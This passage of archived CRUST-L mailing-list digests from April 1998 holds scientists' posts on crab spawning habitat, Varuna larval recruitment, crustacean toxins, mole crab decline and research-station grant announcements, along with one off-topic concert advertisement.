larvae: Avoidance of physiological stress by larval export? JOURNAL OF EXPERIMENTAL MARINE BIOLOGY AND ECOLOGY 113(1): 71-78 As to habitat for crab to extrude eggs, from my experience with several crabs, it appears a fine sand or mud substraum is a good one. The reason for this is that crabs normally need to dig into substraum to form hollow area so that they can force newly extruded eggs to attach to their pleopods. Although in Scylla serrata, ovigerous crab are rarelly found in estuaries and coastal waters, however, to reach deep water seems not a pre-requesition for the crab to spawn. We obtained many ovigerous crabs by simply kept matured femals in small tanks (as small as 0.5 square meter) provided with sand substraum. The rates of females extruded their eggs were very high (near 100%) and you may try out this with your Varunid crab. Hope above information could be some help to you, Best wishes, Chaoshu =============================================================================== CHAOSHU ZENG Laboratory of Marine Stock-enhancement Biology Division of Applied Biosciences Graduate School of Agriculture Fax: +75-753-6229 (Lab) Kyoto University Tel: +75-753-6225 (Lab) kitashirakawa-oiwakecho, sakyo-ku Mobile: 040-909-2450 kyoto 606-8502, Japan E-mail:cszeng@kais.kais.kyoto-u.ac.jp AND Fisheries Research Station Fax: +773-62-5513 Kyoto University Tel: +773-62-5512 Maizuru, Kyoto 625, Japan Mobile: 040-909-2450 =============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Silvio Date: Sun, 19 Apr 1998 11:24:30 +0200 Subject: CRUST-L: marbio: REQ:Any journal titles site on the web? ***Apologies to list members for crossposting*** Is there any website containing some list of scientific periodicals with their abbreviations? Or can anybody give me the complete reference for ""Periodical Title Abbreviations"" by L.G. Alkire jr., or similar publications? Thanks in advance, Carlo Pipitone ***************************************** Carlo Pipitone - -------- CNR-ITPP Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** - ------------------------------------------------------------- To unsubscribe from marbio, please send this message: unsubscribe marbio to: majordomo@mote.org Please do not send this message to the list itself. Thank you. MARBIO originates at Mote Marine Laboratory, Sarasota, FL USA http://www.mote.org - ------------------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Choy Satish Date: Mon, 20 Apr 1998 09:16:18 +1000 Subject: RE: CRUST-L: Varunid Recruitment Brent, The paper you are probably referring to is: Ryan, P.A. and Choy, S.C. 1990. Observations on the mass migration of Varuna litterata ....CRUSTACEANA, 58(3): 237-249. Other relevant literature are cited in this paper. Since writing that paper, I have collected berried females of V. literrata from estuarine areas. In Borneo, I collected a few that were found clinging to floating mangrove (Rhizophora spp.) leaves in estuaries. Regards Satish >---------- >From: Brent Newman zool[SMTP:bnewman@pan.uzulu.ac.za] >Sent: Friday, April 17, 1998 11:54 PM >To: crust-l@VIMS.EDU >Subject: CRUST-L: Varunid Recruitment > >Fellow Members >We have been investigating several apsects of the recruitment of Varuna >littorata here in South Africa. This crab lives in the lower reaches of >rivers but has still retained a larval phase of development which occurs >at sea. The recruitment of megalopae of this species is spectacular with >thousands upon thousands of individuals clearly visible swimming through >estuary mouths and upstream. At weirs and other impoundments in rivers >huge masses of the megalopae can be found. The megalopae are by crabs >standards very large which makes these events even more spectacular. >I have several questions regarding varunid recruitment. Has anyone >witnessed such intense recruitment for other varunid crabs? What about >other crabs? Is there any literature available on such recruitment? I >recall reading a paper on such recruitment and I think that it had to do >with a Varuna spp, but I cannot trace the paper. >Further, we hope to rear the larvae of this crab but are having some >problems finding gravid females. There appear to be none in the >freshwater regions of the rivers. I have captured several females >swimming out of the mouths of estuaries but none of them have been >gravid. Could these crabs have been leaving the estuary for the sea to >extrude eggs? Is anyone aware of what type of habitat these crabs would >extrude eggs and release larvae? I presume it would need to occur in the >lower reaches of estuaries as the probable reason that the larvae leave >estuaries is because the larvae are unable to tolerate the low salinities >in these systems. Is anyone aware of any publications dealing with Varuna >spp larvae? Jose Cuesta has informed me that as far as he is aware there is >almost no information on the larval stages of the Varuna spp. I would >also appreciate any leads to papers dealing with adult ecology and >biology. >Yours >Brent > >Brent Newman >Dept of Zoology >University of Zululand >Private Bag x 1001 >KwaDlangezwa >3886 >Kwazulu_Natal >South Africa >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ronald Vonk Date: Mon, 20 Apr 1998 13:03:09 +0100 Subject: CRUST-L: Grants OPPORTUNITIES FOR ACCESS TO THE ZOOLOGICAL MUSEUM AMSTERDAM (dept. Crustaceans) & EXPERT CENTER FOR TAXONOMIC IDENTIFICATION The University of Amsterdam offers financial support for access to the Zoological Museum Amsterdam (ZMA) and the Expert-center for Taxonomic Identification (ETI). The programme and facilities of ZMA and ETI are based on their extensive zoological (crustacean) collections and information technology. Access to these facilities is supported by the European Commission as a Large-Scale-Facility grant under the programme Training and Mobility of Researchers. Applications for access are encouraged from scientists from EU countries or associated countries (Iceland, Liechtenstein, Norway, Israel). Proposals that can be completed within a short visit (typically one - two weeks), not exceeding two months, will be considered. Financial support that will cover travel, subsistance, access and assistance will be available for accepted proposals. Additional financial support is available for personal instruction and training. Applications for support should be made by completing an application form. There are two proposal rounds each year with closing dates of 1 June and 1 December. All applications will be subject to a review procedure by a selection committee. More information and the application form can be requested by sending a message to Dr. H. Nijssen (P.O. Box 94766, NL-1090 GT Amsterdam, fax: +31.20.525.5402, e-mail: nijssen@bio.uva.nl). =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Peter J. Hogarth"" Date: Mon, 20 Apr 1998 16:49:05 PDT Subject: CRUST-L: Query abound cave crab Dear Crusties, I've just had the following request passed to me by Science Line, a science information organisation that fields questions from the public and tries to find answers. Has anyone any ideas about this one? Peter Hogarth Dear Dr Hogarth We've had a question here at Science Line which I hope you might be able to help us with. A caller has seen a crab which is called the Blind Cave Crab, which she thinks is mainly found in the United States and she wanted to know its Latin name. We couldn't find this name in any of our books. She gave a brief description of it. It is definitely not a spider crab and has very long legs. Its body is heart shaped being broader near the eyes and narrower at its end and its is a pale colour. Perhaps you might know what she is referring to? Thanks for your help. Nicola =================================================================== Science Line is a free public science information service. We answer questions on all aspects of science, medicine, technology and engineering. Our phonelines are open from 1-7pm Monday to Friday on the lo-call number 0345 600 444 _________________________________________________________ Dr Peter J. Hogarth Department of Biology University of York P.O. Box 373 York YO1 5YW U.K. tel 01904 432817 fax 01904 432860 email pjh4@york.ac.uk _________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: collagen@interport.net Date: Mon, 20 Apr 1998 22:59:30 -0400 (EDT) Subject: CRUST-L: Russian Concerts - Aquarium and Auktyon Hello! This message is to let you know that Boris Grebenshikov/Aquarium and Auktsyon will be touring U.S. of A. in late April - May 1998. (http://www.collagen.org/aaa/ Aquarium is the oldest and the most prominent Russian Rock Band...and Auktsyon is extremely cool with its post-punk lyrics, dance and music. Something not to be missed! Superior venues, sound, lighting and etc! The Aquarium concert schedule is: Chicago - Park West - April 24; call (773) 764-0404 for tickets New York - Irving Plaza - April 25; call (212) 673-0776 Boston - Karma Club - April 26, call (617) 783-1590 Washington, D.C. - The Bayou - April 28; call (301) 881-5973 New York - Roxy (with Auktsyon) - April 30; call (212) 673-0776 Seattle - King Kat - May 1; call (206) 323-8882 San Francisco - Herbst Theater - May 3; call (415) 392-4400 The Auktsyon schedule is being determined. Here are some exact days: For show in New York with Aquarium on May 30, call (212) 673-0776 For show in Washington, D.C. on May 1, call (301) 881-5973 For show in Chicago on May 10, call (773) 764-0404 For show in San Francisco on May 9, call (408) 260-1042 For additional shows information, information about the bands, retail ticket outlets and other fun stuff, please visit http://www.collagen.org/aaa/ The seats are limited. Get your tickets today and have a great time at the show - we promise, it will be a great one! :) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Matz Berggren"" Date: Tue, 21 Apr 1998 09:19:47 +0200 Subject: CRUST-L: Marine Large Scale Facility in Sweden Since our marine research station, Kristineberg Marine Research Station have been selected as a Large Scale Facility by the European Union, I like to take the opportunity to send out the following message to inform scientists with an interest to preform research at the west-coast of Sweden: Large Scale Facility - Kristineberg Marine Research Station invites European Scientists Research at Kristineberg Marine Research Station (KMRS), on the west-coast of Sweden, one of the most modern marine stations in the world, encompasses a wide field of marine biology and physical-chemical oceanography, but also includes geology, medicine, pharmacology and applied technology. Thanks to financial support from the TMR, access to Large-Scale Facilities programme (LSF), KMRS is able to welcome scientists and research groups from Europe and from countries associated to the European Union. Guest scientists may participate either in current KMRS projects or initiate new projects lasting up to four months. LSF guests have free access to all facilities at KMRS, including laboratories, experimental rooms, technical equipment and use of research vessels. The LSF programme normally also covers subsistence and travel costs. We are currently accepting proposals for projects with an intended start date between July- Oct 98. Applications will be evaluated/reviewed on arrival between May - June 98 . Next application deadline Oct 1, 1998. For projects with startdate Nov 1998 - April 1999. Under special circumstances, for example shorter visits, applications may also be accepted at other times. For further information and application form: see KMRS homepage: http://www.kmf.gu.se or contact us at the address given below. Applications should be sent to: Kristineberg Marine Research Station, LSF Projects S-450 34 Fiskeb=E4ckskil Sweden. Phone: +46-(0)523185 00 Fax: +46-(0)523185 02 E-mail address: LSF@kmf.gu.se INFORMATION OF THE KMRS BELOW: A unique location since 1877. Unique resources since 1994 Kristineberg Marine Research Station (KMRS), run jointly by the Royal Swedish Academy of Sciences and G=F6teborg University, is one of the most modern marine stations in the world. The station is situated at the mouth of the 120 m-deep Gullmars fjord, offering convenient access to a rich and diverse flora and fauna and facilitating the collection and transfer of marine organisms. The station was renovated in 1994, and now includes exceptionally modern laboratory facilities, offices for resident and guest scientists and a unique large scale experimental facility. The primary aim of the station is to provide high quality working facilities for both Swedish and foreign guest scientists, and KMRS has a permanent staff of 15 faculty and 25 graduate students. In addition, the station provides facilities for undergraduate and other marine courses, as well as hosting regular scientific meetings. Research at KMRS encompasses a wide field of marine biology and physical-chemical oceanograhy, but also includes geology, medicine, pharmacology and applied technology. The station is open all year round to scientists at all levels and from all countries. Facilities at KMRS The station consists of two laboratory buildings, two research vessels and a hotel unit. The laboratory buildings covering 5 000 m2 are fully equipped and comprise experimental rooms, an auditorium, several conference rooms, offices and a library. Our technical staff and research engineers are experienced and can give advice about the use of equipment. In our workshops we make and maintain high precision field equipment. Two research vessels, of the stern-trawler type, are operated by KMRS. The R/V Arne Tiselius (30 m) is specially designed and equipped for marine research with emphasis on biological oceanography, benthic ecology and benthic/pelagic monitoring. The R/V Oscar von Sydow (12 m) is ideal for the collecting of marine animals. A number of small boats are also available for use at the station. The boat crews have extensive knowledge of the local marine environment and the distribution of marine species and have long experience of collecting animals for experimental research. KMRS has a fully equipped SCUBA facility, and diving forms an important part of the marine research at the station. The library keeps most marine journals and is well provided with species identification literature and handbooks. We also have an extensive reprint collection dating back to the late 19th century. If additional literature is needed, KMRS has a 24-hour document delivery service available. At the station there is lso a data-bank to simplify the collection and identification of marine organisms. The data-bank provides detailed information on collection sites for most invertebrate species and algae in the region. The hotel unit can comfortable accommodate groups of up to 50, and offers self-catering or full board facilities. Easy access to a rich and diverse flora and fauna The Gullmars fjord, with a maximum depth of 120 metres, has an extremely rich flora and fauna due to the great diversity of habitats - - all available within 30 minutes sail from the station. In some areas vertical rocks reach down more than 40 meters and h t a rich flora of macroalgae as well as sessile and mobile animals. These rocks are ideal for research by means of SCUBA diving. Between the rocky areas, both sand and clay seabed habitats extend down to the deep basin. KMRS is situated in a unique marine environment. The surface water down to about 15 - 20 metres is brackish (salinity is about 25 psu) and of Baltic origin. Below this is higher salinity water originating from the Skagerrak and the North Sea. Modern equipment and instrumentation The entire first floor of the new building is designed to provide state-of-the-art experimental conditions. The research vessels dock at the main laboratory entrance enabling undisturbed animal or sediment samples to be brought into the experimental rooms easily -a unique feature of KMRS. KMRS has eleven wet laboratories, ranging in size from 15 to 100 m2, and five of these rooms offer full control of both air and water temperature. Each experimental laboratory has a separate control room for computer equipment and data collection. Technical inventories within the experimental rooms are flexible, allowing equipment to be moved between rooms to allow the design of complex experiments. Three light- and temperature-controlled rooms for algal culturing and a flume tank are also available. The second and third floors contain well-equipped, special designed laboratories for physiology, ecology, microbiology, sedimentology, chemistry and radioisotope handling. Modern basic instruments are available, and our technical staff can help guests with chemical analyses and most practical problems. Throughout the laboratory, 2 separate sea water systems provide clean water from the fjord. Surface water from 6 m is used to mimic variable shallow water conditions, whereas deep water from 30 m provides a stable environment year round. Both water systems are installed in all laboratories as well as in the experimental rooms. Matz Berggren MIME-compilant Marine Ecology / Goteborg University Kristineberg Marine Research Station (http://www.kmf.gu.se) S-450 34 Fiskebackskil SWEDEN Tel: +46-(0)523-18532 Fax: +46-(0)523-18503 Fax: +46-(0)523-18502 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: GRANT D STENTIFORD <9707223s@UDCF.GLA.AC.UK> Date: Tue, 21 Apr 1998 12:51:18 +0100 Subject: CRUST-L: Commercially available myosins from Crustacea?? Dear All, does anyone know of any commercially available Crustacean myosins that could be used for parasitic-protease breakdown studies. If there are none available, is it likely that using myosin from another animal (e.g. rat/rabbit) would show similar breakdown when challenged with the proteases....i.e. how conserved are the myosins in different species?. I am working on the deep abdominal flexor muscle of the Norway Losbter (Nephrops norvegicus)...this muscle is homogenous fast type. Thanks alot Grant Grant D Stentiford, Crustacean Parasitology, Graham kerr Building. University of Glasgow. Glasgow. Scotland. Tel; UK (0141) 3306627 email ; g.stentiford@udcf.gla.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 21 Apr 1998 09:15:22 -0400 (EDT) Subject: CRUST-L: Test, delete Did I pass? :-) Testing restricted post Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Tue, 21 Apr 1998 12:52:52 -0500 Subject: CRUST-L: toxic crusties An article in the new American Scientist by Jim McClintock prompts me to wonder how many crusties use defensive (or even offensive) toxins? McClintock, J.B. and B.J. Baker. 1998. Chemical Ecology in Antarctic Seas. American Scientist 86(3):254-263. A specific point is Hyperiella abducting Clione and carrying the pteropods around on their backs. Seems the Clione posses and nice toxin, and the Hyperielled uses this for protection. (First reported in McClintock J.B. and J. Janssen. 1990. Pteropod abduction as a chemical defense in a pelagic antarctic amphipod. Nature 346:462-464. Similar to the crabs that carry around sea anemones, except here the Clione do *not* benefit from the association. The opposite, in fact. But-do crusties have their *own* toxins? If not synthesized by themselves, at least sequestered from their food, such as sponges or corals, etc. Like insects do with toxic plants. Then of course, there's the question of venoms. Caprellids supposedly have venom glands in their 2nd gnathopods, but has this been shown true or false? Any other crusties with venom? If no, why not? Venom is common enough. Phil }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Alistair Poore Date: Wed, 22 Apr 1998 12:33:19 +1000 Subject: Re: CRUST-L: toxic crusties Philip Oshel wrote: > > An article in the new American Scientist by Jim McClintock prompts me to > wonder how many crusties use defensive (or even offensive) toxins? > > But-do crusties have their *own* toxins? If not synthesized by themselves, > at least sequestered from their food, such as sponges or corals, etc. Like > insects do with toxic plants. Among the herbivorous amphipods, many of which do consume algae rich in secondary metabolites, there are, to my knowledge, no published examples of chemical sequestration like that found in terrestrial insects or other marine herbivores such as sea hares. Neither have I heard of any examples of equestration from other chemically rich hosts such as sponges, soft corals or bryozoans. There is one system analogous to McClintock's in which an ampithoid (Pseudamphithoides incurvaria) carries around a small house made of an alga (Dictyota) unpalatable to fish. See Hay et al (1990) Host-plant specialization decreases predation on a marine amphipod: an herbivore in plant's clothing. Ecology 71: 733-743 for details. - -- Alistair G. B. Poore School of Biological Sciences University of New South Wales Sydney, 2052 Australia Phone: 61 2 9385 2080 Fax: 61 2 9385 1558 Email: a.poore@unsw.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: rjapajus@alpha2.curtin.edu.au (Japo Jussila) Date: Wed, 22 Apr 1998 15:31:14 +0800 (WST) Subject: CRUST-L: panic mating? MOI EVERYONE, I have a confusing and puzzling problem, actually I do not have it, but still I have to solve it. Anyways, there has been statements made that male freshwater crayfish have released their sperm as a stress response while transported in a foam box for 4-8 hours. The crayfish have been packed with 1 litre of ice and two sheets of moist foam. Does anyone have any experiences related to the above mentioned phenomen? My best craywishes Dr Japo Jussila Aquatic Science Research Unit Curtin University Perth, Western Australia tel 61 (08) 9336 6081 phax 61 (08) 9336 6082 'Prefiero morir de pie que vivir siempre arrodillado' Che Guevara =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #136 ***************************** >From owner-crust-l Fri Apr 24 10:10:18 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id KAA09337 for crust-l-digest-outgoing; Fri, 24 Apr 1998 10:08:13 -0400 Date: Fri, 24 Apr 1998 10:08:13 -0400 Message-Id: <199804241408.KAA09337@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #137 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 11 crust-l-digest Friday, 24 April 1998 Volume 01 : Number 137 CRUST-L: follicle cells Re: CRUST-L: toxic crusties result CRUST-L: Crustacea Post-Doc Position (fwd) CRUST-L: Mole Crab Info Request Re: CRUST-L: Mole Crab Info Request Re: CRUST-L: toxic crusties CRUST-L: Lobster tissue (fwd) CRUST-L: e-mails of Artemia experts CRUST-L: rare male of parthenogenetic Artemia Re: CRUST-L: Commercially available myosins from Crustacea?? CRUST-L: PhD application CRUST-L: anomoran histology CRUST-L: wanted: 4 million p. vannamei post larvea for late May delivery Re: CRUST-L: toxic crusties CRUST-L: Southern African Decapod Larval Works ---------------------------------------------------------------------- From: Isabelle Biegala Date: Wed, 22 Apr 1998 10:20:08 +0200 Subject: CRUST-L: follicle cells Dear fellows, Does anyone know at which period of female copepod gametogenesis occur the multiplication of follicle cells? I am specially interested to know when this process hapen regarding to the molt of copepodite V to adult females. If anybody have some references concerning this process in other crustacea, I will be as well very interested to know. Yours, Isabelle Biegala =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 22 Apr 1998 09:19:46 -0400 (EDT) Subject: Re: CRUST-L: toxic crusties result > >Thanks for posting an interesting discussion item. Few responses as yet, > >but I know that the remipedes have some toxins that are secreted from > >their mandibles. Saw a great poster at the TCS meeting in Mobile. Bruce Felgenhaur (sp?) presented the poster at TCS meeting. I think there is good circumstantial evidence that the remipedes have a toxin producing mandibular (?) organ. Don't know if the paper's been published yet. I think the poisonous crabs from the South Pacific obtain their toxin from eating algae, cf. ciguatera. Cheers, Jeff =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 22 Apr 1998 11:26:24 -0400 (EDT) Subject: CRUST-L: Crustacea Post-Doc Position (fwd) - ---------- Forwarded message ---------- Date: Wed, 22 Apr 1998 10:05:12 -0400 (EDT) From: Andrew G. McArthur To: Jeffrey Shields Subject: Crustacea Post-Doc Position The following may be of interest to you and CRUST-L. Is a post-doc position in crustacean molecular systematics. http://alun.uio.no/zoomus/engelsk/general/vacant.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Debi Ingrao Date: Wed, 22 Apr 1998 12:01:33 -0700 (PDT) Subject: CRUST-L: Mole Crab Info Request I work in the Benthic Ecology Program at Mote MArine Laboratory and recieved a call from a high school student on the west coast of Florida. He was wondering why the Mole Crabs < Emerita) seem to have dissappeared. Does any one have any information on Emerita's - 1. Living habits - do they ever go into deeper water? 2. Has anyone studied the effects of beach restoration projects on populations of Emeritas 3. We have had a very windy year this year - could this be a possible explaination. Over the last few years, some of my volunteers who are avid fisherman have also noticed a declined in availabilty of mole crabs(one of their favorite fishing baits) on our local beaches. I would welcome any comments or suggestions of literature which may help me out. Thanks, debi Ingrao Mote Marine Laboratory Phone: (941) 388-4441 EXT. 436 Benthic Ecology Program Fax: (941) 388-4312 1600 Thompson Parkway Sarasota, Fl 34236 e-mail: debi@marinelab.sarasota.fl.us See: http://www.marinelab.sarasota.fl.us We are an independent, nonprofit, marine and estuarine research and education facility. Opinions expressed here are NOT MML policy unless so indicated. Don't CLAM up! THINK SAFETY =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: aharvey@AMNH.ORG (Alan Harvey) Date: Wed, 22 Apr 1998 